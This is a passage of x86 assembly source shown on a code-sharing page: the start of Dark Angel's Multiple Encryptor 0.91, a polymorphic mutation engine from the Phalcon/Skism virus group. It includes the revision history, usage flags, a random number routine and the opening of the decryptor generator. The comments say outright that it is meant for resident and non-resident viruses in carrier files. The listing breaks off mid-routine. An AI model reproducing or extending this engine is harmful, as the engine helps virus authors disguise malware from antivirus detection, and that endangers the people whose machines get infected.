?? dame091.asm
字號:
comment #
Dark Angel's Multiple Encryptor
Version 0.91
By Dark Angel of Phalcon/Skism
This source may be freely distributed. Modifications are
encouraged and modified redistribution is allowed provided
this notice and the revision history to date are not altered.
You are free to append to the revision history and update the
usage information.
Welcome to the source code for Dark Angel's Multiple Encryptor.
I, Dark Angel, will be your host for this short excursion through
a pretty nifty encryptor.
DAME 0.90 (1574 bytes)
~~~~ ~~~~ ~~~~~~~~~~~~
Initial release.
DAME 0.91 (1960 bytes)
~~~~ ~~~~ ~~~~~~~~~~~~
Source code commented.
The user no longer needs to call the encryption routine manually;
the routine calls it automatically. This makes DAME a bit more
"user friendly."
Garbling with two pointer registers simultaneously, i.e. [bx+di+offset]
is now supported.
Added "double-reference" encryptions. Example:
mov ax,[bx+3212]
xor ax,3213
mov [bx+3212],ax
There is now a bitflag option to generate a decryptor which will transfer
control to the buffer on a paragraph boundary.
There is now a 1% chance that no encryption will be encoded when
the "do_encrypt1" routine is called. Of course, null effect
encryptors may still be generated.
garble_jmpcond is much more robust. It can now put valid instructions
between the conditional jump and the target of the jump. Therefore,
there is no longer a multitude of JZ $+2's and the like. Instead, they
are replaced by JZ $+4, XOR BX,BX, for example.
The register tracker is cleared after the loop is completed. This makes
sense, since the registers are no longer needed. This also allows for the
manipulation of those used registers in the garbling after the loop is
completed.
Encoding routines enhanced: Two-byte PUSHes and POPs and four-byte register
MOVes added. Memory PUSHes and POPs are now supported.
The maximum nesting value is now the variable _maxnest, which can range
from 0 to MAXNEST. _maxnest is determined randomly at runtime. This makes
the decryption routines a bit more interesting. _nest is also cleared more
times during the run so that variability is continuous throughout.
Short decryptor option added. This is automatically used when generating
the encryptor so the encryptor will always be of minimal length.
More alignments are now possible. This makes the initial values of the
registers more flexible.
BUG FIXES:
BP is now preserved on exit
Prefetch queue flushed on backwards encryption; 386+ hangs eliminated.
See routine named "clear_PIQ"
Loopnz routines had possibility of not working properly; instruction
eliminated.
NOTES:
I forgot to give credit to the person from whom I stole the random number
routines. I took them from the routine embedded in TPE 1.x (I misremember
the version number). Many thanks to Masud Khafir!
USAGE:
ON ENTRY:
ax = flags
bit 15 : Use two registers for pointer : 0 = no, 1 = yes
bit 14 : Align size : 0 = word, 1 = dword
bit 13 : Encryption direction : 0 = forwards, 1 = backwards
bit 12 : Counter direction : 0 = forwards, 1 = backwards
bit 11 : Counter register used : 0 = no, 1 = yes
bit 10 : Temporary storage for double reference
bit 9 : Unused
bit 8 : Unused
bit 7 : Unused
bit 6 : Unused
bit 5 : Unused
bit 4 : Unused
bit 3 : return control on paragraph boundary : 1 = yes, 0 = no
bit 2 : short decryptor : 1 = yes, 0 = no (implies no garbling)
bit 1 : garble : 1 = yes, 0 = no
bit 0 : SS = DS = CS : 1 = yes, 0 = no
bx = start decrypt in carrier file
cx = encrypt length
dx = start encrypt
si = buffer to put decryption routine
di = buffer to put encryption routine
ds = cs on entry
es = cs on entry
RETURNS:
cx = decryption routine length
DF cleared
all other registers are preserved.
The RADIX is set to 16d.
NOTES:
rnd_init_seed is _not_ called by DAME. The user must explicitly call it.
The buffer containing the routine to be encrypted should be 20 bytes
larger than the size of the routine. This allows padding to work.
The decryption routine buffer should be rather large to accomodate the
large decryptors which may be generated.
The encryption routine buffer need not be very large; 80h bytes should
suffice. 90d bytes is probably enough, but this value is untested.
#
.radix 10h
ifndef vars
vars = 2
endif
if not vars eq 1 ; if (vars != 1)
_ax = 0
_cx = 1
_dx = 2
_bx = 3
_sp = 4
_bp = 5
_si = 6
_di = 7
_es = 8
_cs = 9
_ss = 0a
_ds = 0bh
; The constant MAXNEST determines the maximum possible level of nesting
; possible in any generated routine. If the value is too large, then
; recursion problems will cause a stack overflow and the program will
; crash. So don't be too greedy. 0Ah is a safe value to use for non-
; resident viruses. Use smaller values for resident viruses.
ifndef MAXNEST ; User may define MAXNEST prior to including
MAXNEST = 0a ; the DAME source code. The user's value will
endif ; then take precedence
rnd_init_seed:
push dx cx bx
mov ah,2C ; get time
int 21
in al,40 ; port 40h, 8253 timer 0 clock
mov ah,al
in al,40 ; port 40h, 8253 timer 0 clock
xor ax,cx
xor dx,ax
jmp short rnd_get_loop_done
get_rand:
push dx cx bx
in al,40 ; get from timer 0 clock
db 5 ; add ax, xxxx
rnd_get_patch1 dw 0
db 0BA ; mov dx, xxxx
rnd_get_patch2 dw 0
mov cx,7
rnd_get_loop:
shl ax,1
rcl dx,1
mov bl,al
xor bl,dh
jns rnd_get_loop_loc
inc al
rnd_get_loop_loc:
loop rnd_get_loop
rnd_get_loop_done:
mov rnd_get_patch1,ax
mov rnd_get_patch2,dx
mov al,dl
pop bx cx dx
retn
reg_table1:
; reg1 reg2 mod/00/rm This is used to handle memory addressing
db _bx, 84, 10000111b ; of the form [reg1+reg2+xxxx]
db _bp, 84, 10000110b ; if (reg2 == 84)
db _di, 84, 10000101b ; reg2 = NULL;
db _si, 84, 10000100b
db _bp, _di, 10000011b
db _bp, _si, 10000010b
db _bx, _di, 10000001b
db _bx, _si, 10000000b
db _di, _bp, 10000011b
db _si, _bp, 10000010b
db _di, _bx, 10000001b
db _si, _bx, 10000000b
aligntable db 3,7,0bh,0f,13,17,1bh,1f ; possible alignment masks
redo_dame:
pop di bp si dx cx bx ax
dame: ; Dark Angel's Multiple Encryptor
cld
push ax bx cx dx si bp di
call _dame
pop di
push cx di
call di
pop di cx bp si dx bx bx ax
ret
_dame: ; set up initial values of the variables
cld
push ax
mov ax,offset _encryptpointer
xchg ax,di ; save the pointer to the
stosw ; encryption routine buffer
xchg si,ax ; also save the pointer to
stosw ; the decryption routine
; buffer in the same manner
stosw
xchg ax,dx ; starting offset of
stosw ; encryption
xchg ax,bx ; starting offset of
stosw ; decryption routine
xchg cx,dx ; dx = encrypt size
xor ax,ax
mov cx,(endclear1 - beginclear1) / 2; clear additional data
rep stosw ; area
call get_rand ; get a random number
and ax,not 0f ; clear user-defined bits
pop cx ; cx = bitmask
xor cx,ax ; randomize top bits
call get_rand_bx ; get a random number
and bx,7 ; and lookup in the table
mov al,byte ptr [bx+aligntable] ; for a random rounding size
cbw
add dx,ax ; round the encryption
not ax ; size to next word, dword,
and dx,ax ; etc.
mov ax,dx ; save the new encryption
stosw ; length (_encrypt_length)
shr ax,1 ; convert to words
test ch,40 ; encrypting double wordly?
jz word_encryption ; nope, only wordly encryption
shr ax,1 ; convert to double words
word_encryption: ; all the worldly encryption
test ch,10 ; shall do thee no good, my
jnz counter_backwards ; child, lest you repent for
neg ax ; the sins of those who would
counter_backwards: ; bring harm unto others
stosw ; save _counter_value
push dx ; Save rounded length
call get_rand ; get a random value for the
stosw ; encryption value
; (_decrypt_value)
pop ax ; get rounded encryption length
; in bytes
test ch,20 ; is the encryption to run
jnz encrypt_forwards ; forwards or backwards?
neg ax ; Adjust for forwards
encrypt_forwards:
xor bx,bx ; Assume pointer_value2 = 0
test ch,80 ; Dual pointer registers?
jz no_dual
call get_rand_bx
sub ax,bx
no_dual:stosw ; Save the pointers to the
xchg ax,bx ; decryption (_pointer_value1
stosw ; and _pointer_value2)
; The following lines determine the registers that go with each function.
; There are a maximum of four variable registers in each generated
; encryption/decryption routine pair -- the counter, two pointer registers,
; and an encryption value register. Only one pointer register need be present
; in the pair; the other three registers are present only if they are needed.
s0: call clear_used_regs
mov di,offset _counter_reg
mov al,84 ; Assume no counter register
test ch,8 ; Using a counter register?
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -